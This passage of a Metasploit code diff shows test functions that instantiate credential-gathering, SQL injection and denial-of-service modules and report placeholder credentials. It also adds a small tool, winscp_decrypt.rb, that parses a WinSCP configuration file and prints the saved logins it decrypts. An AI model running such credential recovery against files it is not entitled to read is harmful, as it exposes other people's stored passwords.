mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_dell_idrac
mod = framework.auxiliary.create('scanner/http/dell_idrac')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_windows_deployment_services
mod = framework.auxiliary.create('scanner/dcerpc/windows_deployment_services')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'dcerpc', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_couchdb_login
mod = framework.auxiliary.create('scanner/couchdb/couchdb_login')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'couchdb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_wp_w3_total_cache_hash_extract
mod = framework.auxiliary.create('gather/wp_w3_total_cache_hash_extract')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_windows_deployment_services_shares
mod = framework.auxiliary.create('gather/windows_deployment_services_shares')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'smb', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_vbulletin_vote_sqli
mod = framework.auxiliary.create('gather/vbulletin_vote_sqli')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_hp_snac_domain_creds
mod = framework.auxiliary.create('gather/hp_snac_domain_creds')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_d20pass
mod = framework.auxiliary.create('gather/d20pass')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_doliwamp_traversal_creds
mod = framework.auxiliary.create('gather/doliwamp_traversal_creds')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'hp', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_apache_rave_creds
mod = framework.auxiliary.create('gather/apache_rave_creds')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'Apache Rave', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_wordpress_long_password_dos
mod = framework.auxiliary.create('dos/http/wordpress_long_password_dos')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, proof: FAKE_PROOF)
end
def test_modicon_password_recovery
mod = framework.auxiliary.create('admin/scada/modicon_password_recovery')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def test_advantech_webaccess_dbvisitor_sqli
mod = framework.auxiliary.create('admin/scada/advantech_webaccess_dbvisitor_sqli')
mod.report_cred(ip: FAKE_IP, port: FAKE_PORT, service_name: 'http', user: FAKE_USER, password: FAKE_PASS, proof: FAKE_PROOF)
end
def run
counter_all = 0
@ -389,4 +508,8 @@ class Metasploit3 < Msf::Auxiliary
print_line
end
def mock_post_mod_session(mod)
mod.define_singleton_method(:session_db_id) { 1 }
end
end

13
tools/winscp_decrypt.rb Executable file
View File

@ -0,0 +1,13 @@
#!/usr/bin/env ruby
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
require 'rex/parser/winscp'
exit unless ARGV.count == 1
include Rex::Parser::WinSCP
puts ARGV.first
read_and_parse_ini(ARGV.first).each do |res|
puts res.inspect
end